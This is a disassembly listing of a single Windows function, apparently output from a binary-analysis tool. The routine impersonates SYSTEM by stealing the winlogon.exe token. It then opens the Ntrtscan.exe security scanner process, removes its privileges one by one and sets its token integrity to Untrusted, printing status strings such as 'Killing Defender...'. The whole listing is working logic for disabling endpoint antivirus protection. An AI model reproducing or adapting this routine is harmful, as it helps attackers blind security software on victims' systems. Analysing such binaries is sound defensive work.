Function at 0x1400013d0
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x1e8
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
call fcn.1400010e0
lea rax, [rsp + 0x90]
lea rcx, str.winlogon.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xaa]
mov rdi, rax
xor eax, eax
mov ecx, 0x86
rep stosb byte [rdi], al
lea rcx, [rsp + 0x90]
call fcn.1400011c0
mov dword [rsp + 0x30], eax
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x48]
mov edx, 0x2000e
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x140001483
lea rcx, str.___Impersonated_System__n
call fcn.140001060
jmp 0x14000148f
lea rcx, str.____Failed_to_impersonate_System..._n
call fcn.140001060
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x130]
lea rcx, str.Ntrtscan.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x14a]
mov rdi, rax
xor eax, eax
mov ecx, 0x86
rep stosb byte [rdi], al
lea rcx, [rsp + 0x130]
call fcn.1400011c0
mov dword [rsp + 0x30], eax
lea rcx, str.___Killing_Defender..._n
call fcn.140001060
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x14000151f
lea rcx, str.___Opened_Target_Handle_n
call fcn.140001060
jmp 0x14000152b
lea rcx, str.____Failed_to_open_Process_Handle_n
call fcn.140001060
lea r8, [rsp + 0x48]
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140001559
lea rcx, str.___Opened_Target_Token_Handle_n
call fcn.140001060
jmp 0x140001565
lea rcx, str.____Failed_to_open_Target_Token_Handle_n
call fcn.140001060
lea r8, [rsp + 0x70]
lea rdx, [0x14001f888]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x78], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + rax + 0x7c], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x84], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400015e9
lea rcx, str.____Failed_to_Adjust_Tokens_Privileges_n
call fcn.140001060
xor eax, eax
jmp 0x1400017ff
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeChangeNotifyPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeTcbPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeImpersonatePrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeLoadDriverPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeRestorePrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeBackupPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeSecurityPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeSystemEnvironmentPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeIncreaseQuotaPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeTakeOwnershipPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeIncreaseBasePriorityPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeShutdownPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeAssignPrimaryTokenPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
lea rcx, str.___Removed_All_Privileges_n
call fcn.140001060
mov dword [rsp + 0x44], 0
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov byte [rsp + 0x60], 1
mov byte [rsp + 0x61], 1
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x62], 0x10
mov eax, 4
imul rax, rax, 0
mov ecx, dword [rsp + 0x44]
mov dword [rsp + rax + 0x68], ecx
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x58], 0x20
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov eax, eax
add rax, 0x10
mov r9d, eax
lea r8, [rsp + 0x50]
mov edx, 0x19
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x1400017d7
lea rcx, str.SetTokenInformation_failed_n
call fcn.140001060
jmp 0x1400017e3
lea rcx, str.___Token_Integrity_set_to_Untrusted_n
call fcn.140001060
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400017fd
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001830
add rsp, 0x1e8
pop rdi
pop rsi
ret